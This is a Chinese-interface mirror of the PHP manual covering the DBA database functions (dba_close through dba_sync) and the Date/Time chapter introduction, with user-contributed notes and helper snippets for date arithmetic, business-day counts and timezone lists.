dba_replace -- Replace or insert entry
dba_sync -- Synchronize database

add a note add a note User Contributed Notes
jason
21-Dec-2004 11:33
Don't make the dumb mistake I did, if you copy the first example at the top and modify it for test, the dba_open specifies "n" which will truncate the database that you are pointing to. Make sure you change it to "r" if you just want to read from an existing dbm file.
kevinphpdotnet at stormtide dot ca
18-Mar-2004 03:10
When using db4 on redhat 7.3 you may get signal 11s on the apache child processes. The installation test scripts will report that db4 is working correctly as the cli will not sig 11 out. The solution is to check to see if mod_rewrite is installed with apache, if it is either dereference it from libdb.so.3 or build apache without mod rewrite. Once this is done you will no longer have your child processes dying out and db4 will work. If you do not get a sig 11 after dba_open just ignore this comment.
djm at web dot us dot uu dot net
18-Oct-1999 06:28
With db2, you need to call dba_sync() to get the data written to disk; the examples are missing this.  db2 uses
the BTREE file format, not the more common HASH.
BTREE is faster, though, in my tests, so it's a good
choice.
add a note add a note

后退 | 起点 | 前进
cyrus_unbind | 上一级 | dba_close


dba_close

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_close -- Close a DBA database

说明

void dba_close ( resource handle )

dba_close() closes the established database and frees all resources of the specified database handle.

参数

handle

The database handler, returned by dba_open() or dba_popen().

返回值

无返回值。

参见

dba_open()
dba_popen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Database (dbm-style) Abstraction Layer Functions | 上一级 | dba_delete


dba_delete

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_delete -- Delete DBA entry specified by key

说明

bool dba_delete ( string key, resource handle )

dba_delete() deletes the specified entry from the database.

参数

key

The key of the entry which is deleted.

handle

The database handler, returned by dba_open() or dba_popen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

dba_exists()
dba_fetch()
dba_insert()
dba_replace()

add a note add a note User Contributed Notes
swain at panix dot com
07-Nov-2001 03:00
Note that the memory is lost after doing this. If you had a key 'foo' with a value of 1000 bytes, that 1000 bytes is lost, and the DB file size will reflect this.
add a note add a note

后退 | 起点 | 前进
dba_close | 上一级 | dba_exists


dba_exists

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_exists -- Check whether key exists

说明

bool dba_exists ( string key, resource handle )

dba_exists() checks whether the specified key exists in the database.

参数

key

The key the check is performed for.

handle

The database handler, returned by dba_open() or dba_popen().

返回值

Returns TRUE if the key exists, FALSE otherwise.

参见

dba_delete()
dba_fetch()
dba_insert()
dba_replace()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_delete | 上一级 | dba_fetch


dba_fetch

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_fetch -- Fetch data specified by key

说明

string dba_fetch ( string key, resource handle )

string dba_fetch ( string key, int skip, resource handle )

dba_fetch() fetches the data specified by key from the database specified with handle.

参数

key

The key the data is specified by.

注: When working with inifiles this function accepts arrays as keys where index 0 is the group and index 1 is the value name. See: dba_key_split().

skip

The number of key-value pairs to ignore when using cdb databases. This value is ignored for all other databases which do not support multiple keys with the same name.

handle

The database handler, returned by dba_open() or dba_popen().

返回值

Returns the associated string if the key/data pair is found, FALSE otherwise.

更新日志

版本 | 说明
4.3 | The skip parameter is available to support cdb's capability of multiple keys having the same name.

参见

dba_exists()
dba_delete()
dba_insert()
dba_replace()
dba_key_split()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_exists | 上一级 | dba_firstkey


dba_firstkey

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_firstkey -- Fetch first key

说明

string dba_firstkey ( resource handle )

dba_firstkey() returns the first key of the database and resets the internal key pointer. This permits a linear search through the whole database.

参数

handle

The database handler, returned by dba_open() or dba_popen().

返回值

Returns the key on success, or FALSE on failure.

参见

dba_nextkey()
dba_key_split()
Example 2 in the DBA examples

add a note add a note User Contributed Notes
psycho-logic at excite dot com
22-Oct-2003 08:38
Looks like Jacky is using some DB object? I don't know if it's native to PHP or written on it's own... Anyways this is what I use:

$DBCon = dba_open("/tmp/test_db.db2", "r", "db2") or die("Uh oh, can't open the database :(");
if ($the_key = dba_firstkey($DBCon)) do {
   print("Key: $the_key    Value:");
   print dba_fetch($the_key, $DBCon);
   print("<BR>");
} while ($the_key = dba_nextkey($DBCon));
print ("<BR><BR><BR>Well looks like we're done here :-)");
jacky dot jackyhung dot net
17-Jan-2002 09:17
for ($key = dba_firstkey($this->handle); $key !== false; $key = dba_nextkey($this->handle)) {
           $keyset[] = $key;
       } // end for
add a note add a note

后退 | 起点 | 前进
dba_fetch | 上一级 | dba_handlers


dba_handlers

(PHP 4 >= 4.3.0, PHP 5)

dba_handlers -- List all the handlers available

说明

array dba_handlers ( [bool full_info] )

dba_handlers() list all the handlers supported by this extension.

参数

full_info

Turns on/off full information display in the result. The default is FALSE.

返回值

Returns an array of database handlers. If full_info is set to TRUE, the array will be associative with the handlers names as keys, and their version information as value. Otherwise, the result will be an indexed array of handlers names.

注: When the internal cdb library is used you will see cdb and cdb_make.

范例

例子 1. dba_handlers() Example

<?php

echo "Available DBA handlers:\n";
foreach (dba_handlers(true) as $handler_name => $handler_version) {
  // clean the versions
  $handler_version = str_replace('$', '', $handler_version);
  echo " - $handler_name: $handler_version\n";
}

?>

上例的输出类似于：

Available DBA handlers:
 - cdb: 0.75, Revision: 1.3.2.3
 - cdb_make: 0.75, Revision: 1.2.2.4
 - db2: Sleepycat Software: Berkeley DB 2.7.7: (08/20/99)
 - inifile: 1.0, Revision: 1.6.2.3
 - flatfile: 1.0, Revision: 1.5.2.4

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_firstkey | 上一级 | dba_insert


dba_insert

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_insert -- Insert entry

说明

bool dba_insert ( string key, string value, resource handle )

dba_insert() inserts the entry described with key and value into the database.

参数

key

The key of the entry to be inserted. If this key already exist in the database, this function will fail. Use dba_replace() if you need to replace an existent key.

value

The value to be inserted.

handle

The database handler, returned by dba_open() or dba_popen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

dba_exists()
dba_delete()
dba_fetch()
dba_replace()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_handlers | 上一级 | dba_key_split


dba_key_split

(PHP 5)

dba_key_split -- Splits a key in string representation into array representation

说明

mixed dba_key_split ( mixed key )

dba_key_split() splits a key (string representation) into an array representation.

参数

key

The key in string representation.

返回值

Returns an array of the form array(0 => group, 1 => value_name). This function will return FALSE if key is NULL or FALSE.

参见

dba_firstkey()
dba_nextkey()
dba_fetch()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_insert | 上一级 | dba_list


dba_list

(PHP 4 >= 4.3.0, PHP 5)

dba_list -- List all open database files

说明

array dba_list ( void )

dba_list() list all open database files.

返回值

An associative array, in the form resourceid => filename.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_key_split | 上一级 | dba_nextkey


dba_nextkey

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_nextkey -- Fetch next key

说明

string dba_nextkey ( resource handle )

dba_nextkey() returns the next key of the database and advances the internal key pointer.

参数

handle

The database handler, returned by dba_open() or dba_popen().

返回值

Returns the key on success, or FALSE on failure.

参见

dba_firstkey()
dba_key_split()
Example 2 in the DBA examples

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_list | 上一级 | dba_open


dba_open

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_open -- Open database

说明

resource dba_open ( string path, string mode [, string handler [, mixed ...]] )

dba_open() establishes a database instance for path with mode using handler.

参数

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access.

Additionally you can set the database lock method with the next char. Use l to lock the database with a .lck file or d to lock the databasefile itself. It is important that all of your applications do this consistently.

If you want to test the access and do not want to wait for the lock you can add t as third character. When you are absolutely sure that you do not require database locking you can do so by using - instead of l or d. When none of d, l or - is used, dba will lock on the database file as it would with d.

注: There can only be one writer for one database file. When you use dba on a webserver and more than one request requires write operations they can only be done one after another. Also read during write is not allowed. The dba extension uses locks to prevent this. See the following table:

表格 1. DBA locking

already open | mode = "rl" | mode = "rlt" | mode = "wl" | mode = "wlt" | mode = "rd" | mode = "rdt" | mode = "wd" | mode = "wdt"
not open | ok | ok | ok | ok | ok | ok | ok | ok
mode = "rl" | ok | ok | wait | false | illegal | illegal | illegal | illegal
mode = "wl" | wait | false | wait | false | illegal | illegal | illegal | illegal
mode = "rd" | illegal | illegal | illegal | illegal | ok | ok | wait | false
mode = "wd" | illegal | illegal | illegal | illegal | wait | false | wait | false

ok: the second call will be successfull.
wait: the second call waits until dba_close() is called for the first.
false: the second call returns false.
illegal: you must not mix "l" and "d" modifiers for mode parameter.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_open() and can act on behalf of them.

返回值

Returns a positive handle on success, or FALSE on failure.

更新日志

版本 | 说明
4.3.0 | It's possible to open database files over network connection. However in cases a socket connection will be used (as with http or ftp) the connection will be locked instead of the resource itself. This is important to know since in such cases locking is simply ignored on the resource and other solutions have to be found.
4.3.0 | Locking and the mode modifiers "l", "d", "-" and "t" were added. In previous PHP versions, you must use semaphores to guard against simultaneous database access for any database handler with the exception of GDBM. See System V semaphore support.
before 4.3.5 | open mode 'c' is broken for several internal handlers and truncates the database instead of appending data to an existent database. Also dbm and ndbm fail on mode 'c' in typical configurations (this cannot be fixed).

参见

dba_popen()
dba_close()

add a note add a note User Contributed Notes
xy t affenkrieger.de
30-Mar-2006 10:13
If you get some strange errors like
dba_open(): myDbFilename.db : Permission denied
than you are propably using PHP on a Windoze machine. You have to make sure that the following conditions are met:

1) Use an absolute path to your db file. Relative paths will cause problems with locking
2) Specify a locking mode - that's the second character of the mode-argument, or else opening a dba-file will cause several notices/warnings etc.

And a final, general note:
3) Always use the english PHP doc on this site - the translations are often old as hell and miss important informations

HTH, Nils.
add a note add a note

后退 | 起点 | 前进
dba_nextkey | 上一级 | dba_optimize


dba_optimize

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_optimize -- Optimize database

说明

bool dba_optimize ( resource handle )

dba_optimize() optimizes the underlying database.

参数

handle

The database handler, returned by dba_open() or dba_popen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

dba_sync()

add a note add a note User Contributed Notes
samuele at removethisnorsam dot org
04-Aug-2003 06:00
Note that the internal structure of each DB that needs to access etherogeneous data in a *fast* way it is not necessarily space-optimized. So, if you add-remove-substitute keys with data having different content length, the db continues to grow, wasting space. So, it is necessary, sometimes, to re-pack the db in order to remove unused data from the db itself. But it is important to remind that, even if the file grows, the data remain optimized and - obviously - the access continues to be fast. Further information are available at dba_replace() user-contributed notes.
add a note add a note

后退 | 起点 | 前进
dba_open | 上一级 | dba_popen


dba_popen

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_popen -- Open database persistently

说明

resource dba_popen ( string path, string mode [, string handler [, mixed ...]] )

dba_popen() establishes a persistent database instance for path with mode using handler.

参数

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_popen() and can act on behalf of them.

返回值

Returns a positive handle on success, or FALSE on failure.

参见

dba_open()
dba_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_optimize | 上一级 | dba_replace


dba_replace

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_replace -- Replace or insert entry

说明

bool dba_replace ( string key, string value, resource handle )

dba_replace() replaces or inserts the entry described with key and value into the database specified by handle.

参数

key

The key of the entry to be replaced.

value

The value to be replaced.

handle

The database handler, returned by dba_open() or dba_popen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

dba_exists()
dba_delete()
dba_fetch()
dba_insert()

add a note add a note User Contributed Notes
samuele at removethisnorsam dot org
04-Aug-2003 07:23
For a short explanation about disk space usage, see user contrib note at dba_optimize()
jelte dot werkhoven at itfy dot com
26-Sep-2002 10:24
Not only will dba_replace add extra entries when trying to replace an existing smaller one, it will always add a new entry if the size of the value differs from the existing entry. This is probably due to the nature of the datum struct in DBM-type databases (I work with gdbm), which consist of a void pointer and a integer containing the size of the memory pointed to. Padding the value should solve this.
swain at panix dot com
07-Nov-2001 03:03
Note that if you replace an existing entry with a larger one, it will actually create a new entry and the old one is simply lost. This is a memory leak in other words.

You might want to try padding your values to a certain size before putting them in the db file; for example, if you are storing web pages in the db, pad them out to the next 500 byte size with spaces, and strip the spaces when you read it out. This will go a long way in saving disk space. I've seen db files grow to several megabytes with only a couple hundred text files in them.
add a note add a note

后退 | 起点 | 前进
dba_popen | 上一级 | dba_sync


dba_sync

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

dba_sync -- Synchronize database

说明

bool dba_sync ( resource handle )

dba_sync() synchronizes the database. This will probably trigger a physical write to the disk, if supported.

参数

handle

The database handler, returned by dba_open() or dba_popen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

dba_optimize()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dba_replace | 上一级 | Date/Time 日期／时间函数


Date/Time 日期／时间函数

PHP 手册
后退 前进

XXII. Date/Time 日期／时间函数

简介

可以用这些函数得到 PHP 所运行的服务器的日期和时间。可以用这些函数将日期和时间以很多不同方式格式化输出。

注: 请留意这些函数依赖于服务器的地区设置。确认在使用这些函数时考虑到了夏令时的设置（例如使用 $date = strtotime('+7 days', $date) 而不是 $date += 7*24*60*60）和闰年。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. 日期／时间配置选项

名称 | 默认值 | 可修改范围 | 更新记录
date.default_latitude | "31.7667" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
date.default_longitude | "35.2333" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
date.sunrise_zenith | "90.83" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
date.sunset_zenith | "90.83" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
date.timezone | "" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

date.default_latitude float

默认纬度。

date.default_longitude float

默认经度。

date.sunrise_zenith float

默认日出天顶。

date.sunset_zenith float

默认日落天顶。

date.timezone string

在未设定 TZ 环境变量时用于所有日期／时间函数的默认时区。优先顺序在 date_default_timezone_get() 页面中有说明。

注: 前四个配置选项目前仅用于 date_sunrise() 和 date_sunset()。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

自 PHP 5.1.0 起定义有以下常量来提供标准日期表达方法，可以用于日期格式函数（例如 date()）。

DATE_ATOM（string）

原子钟格式（如：2005-08-15T15:52:01+0000）

DATE_COOKIE（string）

HTTP Cookies 格式（如：Mon, 15 Aug 2005 15:52:01 UTC）

DATE_ISO8601（string）

ISO-8601（如：2005-08-15T15:52:01+0000）

DATE_RFC822（string）

RFC 822（如：Mon, 15 Aug 2005 15:52:01 UTC）

DATE_RFC850（string）

RFC 850（如：Monday, 15-Aug-05 15:52:01 UTC）

DATE_RFC1036（string）

RFC 1036（如：Monday, 15-Aug-05 15:52:01 UTC）

DATE_RFC1123（string）

RFC 1123（如：Mon, 15 Aug 2005 15:52:01 UTC）

DATE_RFC2822（string）

RFC 2822（如：Mon, 15 Aug 2005 15:52:01 +0000）

DATE_RSS（string）

RSS（如：Mon, 15 Aug 2005 15:52:01 UTC）

DATE_W3C（string）

World Wide Web Consortium（如：2005-08-15T15:52:01+0000）

目录
checkdate -- 验证一个格里高里日期
date_default_timezone_get -- 取得一个脚本中所有日期时间函数所使用的默认时区
date_default_timezone_set -- 设定用于一个脚本中所有日期时间函数的默认时区
date_sunrise -- 返回给定的日期与地点的日出时间
date_sunset -- 返回给定的日期与地点的日落时间
date -- 格式化一个本地时间／日期
getdate -- 取得日期／时间信息
gettimeofday -- 取得当前时间
gmdate -- 格式化一个 GMT/UTC 日期／时间
gmmktime -- 取得 GMT 日期的 UNIX 时间戳
gmstrftime -- 根据区域设置格式化 GMT/UTC 时间／日期
idate -- 将本地时间日期格式化为整数
localtime -- 取得本地时间
microtime -- 返回当前 Unix 时间戳和微秒数
mktime -- 取得一个日期的 Unix 时间戳
strftime -- 根据区域设置格式化本地时间／日期
strptime -- 解析由 strftime() 生成的日期／时间
strtotime -- 将任何英文文本的日期时间描述解析为 Unix 时间戳
time -- 返回当前的 Unix 时间戳

add a note add a note User Contributed Notes
gary at gmartellino dot com
05-May-2006 01:35
here's a quick script i used to find recurring dates, it offers some flexibility in how you want to iterate though the dates

<?php

// ----------------------------------------------------------
//  Recurring dates
//  Returns an array of recurring dates
// ----------------------------------------------------------

class recur {

   var $endOption;        // set to either "endBy" or "endAfter" -- endby if you want to end by a date and
                       // end after if you want to end after 'x' amount of occurrences
   var $endValue;      // set to either a date in 'xxxx-xx-xx' format or a number of occurrences
   var $start;            // set to the starting date in 'xxxx-xx-xx' format

   function interval($type, $spread){
       $startDate = explode("-", $this->start);
       $time = mktime(0, 0, 0, $startDate[1], $startDate[2], $startDate[0]);

       $dates[] = $this->start;

       if($this->endOption == "endAfter"){

           for($i = 1; $i < $this->endValue; $i++){
               $futureTime = strtotime("+$spread $type", $time);
               $dates[] = date("Y-m-d", $futureTime);
               $time = $futureTime;
           }

           return $dates;
       }else if($this->endOption == "endBy"){
           $endDate = explode("-", $this->endValue);
           $endTime = mktime(0, 0, 0, $endDate[1], $endDate[2], $endDate[0]);

           while($endTime > $time){
               $futureTime = strtotime("+$spread $type", $time);
               if($futureTime > $endTime){
                   break;
               }
               $dates[] = date("Y-m-d", $futureTime);
               $time = $futureTime;
           }
           return $dates;
       }
   }

}
?>
example:

<?php
include("includes/recur.class.php");

$recur = new recur();
$recur->endOption = "endBy";
$recur->endValue = '2006-12-09';
$recur->start = '2006-04-28';

print_r($recur->interval("day", 4));
?>
rugby7s at gmail dot com
08-Mar-2006 11:00
I had same problem nickaubert  had with trying to compute timestamp for a span of dates that was daylight savings compliant.

OLD CODE:
 /***********************************************
*Note - This is the old code that doesn't handle daylights savings time
***********************************************/
for($i=$start_date; $i<=$end_date; $i=($i+(24*60*60))){
 //--- DO something $i is timestamp
}

NEW CODE:
for($i=$start_date;$i<=$end_date;
$i=(mktime(0,0,0,date('n',$i),date('d',$i)+1,date('Y',$i)))){
 //--- DO something $i is timestamp
}
03-Mar-2006 11:50
A quick one liner to round a timestamp to the next full hour.

ie, 8:36 => 9:00, 9:02 => 10:00

$timestamp = ceil(time()/3600)*3600;
worm (zantATglazovDOTnet)
25-Jan-2006 10:44
Function for converting  RFC 2822 formatted date to timestamp
<?php

/**
 * @param  string  $date RFC 2822 formatted date
 * @return integer timestamp
 */

function Rfc2822ToTimestamp($date){
  $aMonth = array(
             "Jan"=>"1", "Feb"=>"2", "Mar"=>"3", "Apr"=>"4", "May"=>"5",
             "Jun"=>"6", "Jul"=>"7", "Aug"=>"8", "Sep"=>"9", "Oct"=>"10",
             "Nov"=>"11", "Dec"=>"12");

  list( , $day, $month, $year, $time) = explode(" ", $date);
  list($hour, $min, $sec) = explode(":", $time);
  $month = $aMonth[$month];

  return mktime($hour, $min, $sec, $month, $day, $year);
}
?>
Jeff
03-Nov-2005 11:29
Here is a somewhat simpler function for getting the number of  business days between two dates

<?php

function WorkDays( $startTime, $endTime )
{
   $workdays = 0 ;
   while( $startTime <= $endTime )
   {
       if( date('w', $startTime ) != 6 && date( 'w', $startTime) != 0 )
       {
           $workdays++ ;
       }
       $startTime += 86400 ;
   }
   return $workdays ;
}

?>
cupidomind at yahoo dot fr
15-Oct-2005 11:18
Hi I just want to say thanks a lot to the man who wrote a solution about a problem of the date-difference.

/*A much easier way to do days diff is to use Julian Days from the Calendar functions:

$start = gregoriantojd($smon, $sday, $syear);
$end = gregoriantojd($emon, $eday, $eyear);
$daysdiff = $end - $start;

You can see the obvious ways to wrap a function around that.*/
rycker+phpdate at gmail dot com
05-Oct-2005 03:30
Function for converting MySQL timestamp to Datetime format

function TimestampToDatetime($Tstamp) {
   $dt[0] = substr($Tstamp,0,4);
   $dt[1] = substr($Tstamp,4,2);
   $dt[2] = substr($Tstamp,6,2);
   $tm[0] = substr($Tstamp,8,2);
   $tm[1] = substr($Tstamp,10,2);
   $tm[2] = substr($Tstamp,12,2);
   return (join($dt,"-") . " " . join($tm,":"));
}
andreencinas at yahoo dot com dot br
28-Sep-2005 08:08
//function like dateDiff Microsoft
       //not error in year Bissesto

       function dateDiff($interval,$dateTimeBegin,$dateTimeEnd) {
         //Parse about any English textual datetime
         //$dateTimeBegin, $dateTimeEnd

         $dateTimeBegin=strtotime($dateTimeBegin);
         if($dateTimeBegin === -1) {
           return("..begin date Invalid");
         }

         $dateTimeEnd=strtotime($dateTimeEnd);
         if($dateTimeEnd === -1) {
           return("..end date Invalid");
         }

         $dif=$dateTimeEnd - $dateTimeBegin;

         switch($interval) {
           case "s"://seconds
               return($dif);

           case "n"://minutes
               return(floor($dif/60)); //60s=1m

           case "h"://hours
               return(floor($dif/3600)); //3600s=1h

           case "d"://days
               return(floor($dif/86400)); //86400s=1d

           case "ww"://Week
               return(floor($dif/604800)); //604800s=1week=1semana

           case "m": //similar result "m" dateDiff Microsoft
               $monthBegin=(date("Y",$dateTimeBegin)*12)+
                 date("n",$dateTimeBegin);
               $monthEnd=(date("Y",$dateTimeEnd)*12)+
                 date("n",$dateTimeEnd);
               $monthDiff=$monthEnd-$monthBegin;
               return($monthDiff);

           case "yyyy": //similar result "yyyy" dateDiff Microsoft
               return(date("Y",$dateTimeEnd) - date("Y",$dateTimeBegin));

           default:
               return(floor($dif/86400)); //86400s=1d
         }

       }
glashio at xs4all dot nl
27-Sep-2005 03:46
Calculate Sum BusinessDays (Mon till Fri) between two date's :

<?php
function businessdays($begin, $end) {
   $rbegin = is_string($begin) ? strtotime(strval($begin)) : $begin;
   $rend = is_string($end) ? strtotime(strval($end)) : $end;
   if ($rbegin < 0 || $rend < 0)
       return 0;

   $begin = workday($rbegin, TRUE);
   $end = workday($rend, FALSE);

   if ($end < $begin) {
       $end = $begin;
       $begin = $end;
   }

   $difftime = $end - $begin;
   $diffdays = floor($difftime / (24 * 60 * 60)) + 1;

   if ($diffdays < 7) {
       $abegin = getdate($rbegin);
       $aend = getdate($rend);
       if ($diffdays == 1 && ($astart['wday'] == 0 || $astart['wday'] == 6) && ($aend['wday'] == 0 || $aend['wday'] == 6))
           return 0;
       $abegin = getdate($begin);
       $aend = getdate($end);
       $weekends = ($aend['wday'] < $abegin['wday']) ? 1 : 0;
   } else
       $weekends = floor($diffdays / 7);
   return $diffdays - ($weekends * 2);
}

function workday($date, $begindate = TRUE) {
   $adate = getdate($date);
   $day = 24 * 60 * 60;
   if ($adate['wday'] == 0) // Sunday
       $date += $begindate ? $day : -($day * 2);
   elseif ($adate['wday'] == 6) // Saterday
       $date += $begindate ? $day * 2 : -$day;
   return $date;
}
?>
Eric Z (ezsomething at hotmail)
01-Sep-2005 05:56
I was having a horrible time trying to get a good list of timezones, how to set them locally (for the user/client), and how best to keep this information. Building on the notes of this site (thanks everyone), I constructed code that should work on just about any un*x based platform.  It reads the local timezone table and gives your a nested array of the continents and regions of the file -- the natural continent sorting is even by the most populated areas (thanks Paul Eggert!).

Afterwards, all you have to do is export the timezone string with an environmental set.. which works just fine if php is running as an apache model; haven't tested it for commandline, but I suspect it's okay there, too.

<?php
if (isset($_SESSION[PROFILE_TZOFFSET]))
       putenv('TZ='.$_SESSION[PROFILE_TZOFFSET]);
?>

Here's how to load the timezones... the nested array makes it easy to insert into html lists or other well-behaved objects.

<?php
   function getTimezoneData() {
     //EricZ - 9/1/05 - free to use, keep the comments :)
     $zoneNames = array();

     // -- first part, gather all of the zone data
     $zoneSource = '/usr/share/zoneinfo/zone.tab';
     $zoneHandle = fopen($zoneSource, "r");
     if (!$zoneHandle) return NULL;                  //bad file, abort now
     while (!feof($zoneHandle)) {
       $zoneLine = ltrim(fgets($zoneHandle, 4096));
       if ($zoneLine[0]=='#')  continue;          //skip comments
         //Columns...
         // 1.  ISO 3166 2-character country code.
         // 2.  Latitude and longitude of the zone's principal location
         // 3.  Zone name used in value of TZ environment variable.
         // 4.  Comments; present if and only if country has multiple rows.
       $zoneParts = explode("\t",$zoneLine);      //grab parts
       if (count($zoneParts) < 3) continue;      //erroneous line!
       $nameParts = explode('/', $zoneParts[2], 2);  //grab country/name
       $zoneKey = $nameParts[0];                  //country or area

       $insertArray = &$zoneNames;                //where to insert?
       if (count($nameParts) > 1) {                //area/populous
         if (!isset($zoneNames[$zoneKey]))        //not set before
           $zoneNames[$zoneKey] = array();
         $insertArray = &$zoneNames[$zoneKey];    //grab sub (country)
         $zoneKey = trim($nameParts[1]);          //grab correct key
       }
       $zoneKey = preg_replace('/[_]/',' ', $zoneKey);
       $insertArray[$zoneKey] = trim($zoneParts[2]); //actually set data
     }                                            //end while not eof
     fclose($zoneHandle);
     return $zoneNames;
   }
?>
daniel at globalnetstudios dot com
09-Jun-2005 02:49
This dateDiff() function can take in just about any timestamp, including UNIX timestamps and anything that is accepted by strtotime(). It returns an array with the ability to split the result a couple different ways. I built this function to suffice any datediff needs I had. Hope it helps others too.

<?php
  /********* dateDiff() function **********
   * returns Array of Int values for difference between two dates
   * $date1 > $date2 --> positive integers are returned
   * $date1 < $date2 --> negative integers are returned
   *
   * $split recognizes the following:
   *  'yw' = splits up years, weeks and days (default)
   *  'y'  = splits up years and days
   *  'w'  = splits up weeks and days
   *  'd'  = total days
   *
   * examples:
   *  $dif1 = dateDiff() or dateDiff('yw')
   *  $dif2 = dateDiff('y')
   *  $dif3 = dateDiff('w')
   *  $dif4 = dateDiff('d')
   *
   * assuming dateDiff returned 853 days, the above
   * examples would have a print_r output of:
   *  $dif1 == Array( [y] => 2 [w] => 17 [d] => 4 )
   *  $dif2 == Array( [y] => 2 [d] => 123 )
   *  $dif3 == Array( [w] => 121 [d] => 6 )
   *  $dif4 == Array( [d] => 847 )
   *
   * note: [h] (hours), [m] (minutes), [s] (seconds) are always returned as elements of the Array
   */
  function dateDiff($dt1, $dt2, $split='yw') {
   $date1 = (strtotime($dt1) != -1) ? strtotime($dt1) : $dt1;
   $date2 = (strtotime($dt2) != -1) ? strtotime($dt2) : $dt2;
   $dtDiff = $date1 - $date2;
   $totalDays = intval($dtDiff/(24*60*60));
   $totalSecs = $dtDiff-($totalDays*24*60*60);
   $dif['h'] = $h = intval($totalSecs/(60*60));
   $dif['m'] = $m = intval(($totalSecs-($h*60*60))/60);
   $dif['s'] = $totalSecs-($h*60*60)-($m*60);
   // set up array as necessary
   switch($split) {
   case 'yw': # split years-weeks-days
     $dif['y'] = $y = intval($totalDays/365);
     $dif['w'] = $w = intval(($totalDays-($y*365))/7);
     $dif['d'] = $totalDays-($y*365)-($w*7);
     break;
   case 'y': # split years-days
     $dif['y'] = $y = intval($totalDays/365);
     $dif['d'] = $totalDays-($y*365);
     break;
   case 'w': # split weeks-days
     $dif['w'] = $w = intval($totalDays/7);
     $dif['d'] = $totalDays-($w*7);
     break;
   case 'd': # don't split -- total days
     $dif['d'] = $totalDays;
     break;
   default:
     die("Error in dateDiff(). Unrecognized \$split parameter. Valid values are 'yw', 'y', 'w', 'd'. Default is 'yw'.");
   }
   return $dif;
  }
?>
mail at completeideas dot com
07-Jun-2005 04:55
For those who are using pre MYSQL 4.1.1, you can use:

TO_DAYS([Date Value 1])-TO_DAYS([Date Value 2])

For the same result as:

DATEDIFF([Date Value 1],[Date Value 2])
r00t_ at mail dot ru
06-May-2005 03:33
Function generate one month calendar like

February
Mon Tue Wed Thu Fri Sat Sun
               1  2  3  4
   5  6  7    8  9    10  11
 12  13  14  15  16  17 18
 19  20  21  22  23  24 25
 26  27  28

(default in russian locale)

<?php

$year = (int)$_GET["year"];
$month = (int)$_GET["month"];

draw_month_cal($year, $month);

function draw_month_cal($year, $month, $locale = array ('ru_RU.CP1251', 'rus_RUS.1251'))
{
   if (checkdate($month, 1, $year) && setlocale (LC_TIME, $locale)) {

       if (!$day = date("w", $f_day = mktime(0, 0, 0, $month, 1, $year)))
           $day = 7; // Mon first, Sun last

       print "<table border=0><tr><th colspan=7>" . strftime("%B", $f_day) . "</td></tr><tr>"; // Month

       for ($i = 8; --$i;)
           print "<th>" . strftime("%a", mktime(0, 0, 0, $month, 16 - $i - $day, $year)) . "</th>"; // Mon Tue Wed Thu Fri Sat Sun

       print "</tr><tr>" . str_repeat("<td></td>", --$day); // Empty cells

       while (checkdate($month, ++$i, $year)) { // $i==0 after for :-)
           print "<td>$i</td>";
           if (!(++$day % 7)) print "</tr><tr>"; // next line after Sun
       }
       print "</tr></table>";
   }
}

?>
info at programare dot org
06-May-2005 01:34
A simple DateAdd() function:

function DateAdd($v,$d=null , $f="d/m/Y"){
  $d=($d?$d:date("Y-m-d"));
  return date($f,strtotime($v." days",strtotime($d)));
}

Then use it:

echo DateAdd(2);  // 2 days after
echo DateAdd(-2,0,"Y-m-d");  // 2 days before with gigen format
echo DateAdd(3,"01/01/2000");  // 3 days after given date
datavortex at gmail dot com
19-Mar-2005 07:19
